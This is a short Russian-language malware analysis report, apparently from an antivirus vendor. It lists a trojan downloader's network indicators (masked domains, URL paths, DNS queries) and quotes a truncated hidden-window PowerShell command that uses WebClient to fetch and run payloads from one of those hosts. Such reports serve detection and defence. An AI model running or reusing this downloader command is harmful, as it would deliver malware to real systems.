Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Сетевая активность
Подключается к
- 'fr#####uandthomas.co.uk':80
- 'fr#####uandthomas.co.uk':443
- 'ba####idgedata.com':80
- 'wb#.by':80
TCP
Запросы HTTP GET
- http://fr#####uandthomas.co.uk/y4g-k637-jdkr/
- http://ba####idgedata.com/y7zn-r339-lik/
- http://wb#.by/cro9d-q516-ubf/
Другие
- 'fr#####uandthomas.co.uk':443
UDP
- DNS ASK fr#####uandthomas.co.uk
- DNS ASK gr###occer7.com
- DNS ASK ba####idgedata.com
- DNS ASK wb#.by
- DNS ASK bu########ncellingheadphones.com
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;$webclient = new-object System.Net.WebClient;$random = new-object random;$urls = 'http://froufrouandthomas.co.uk/y4g-k637-jdkr...' (со скрытым окном)
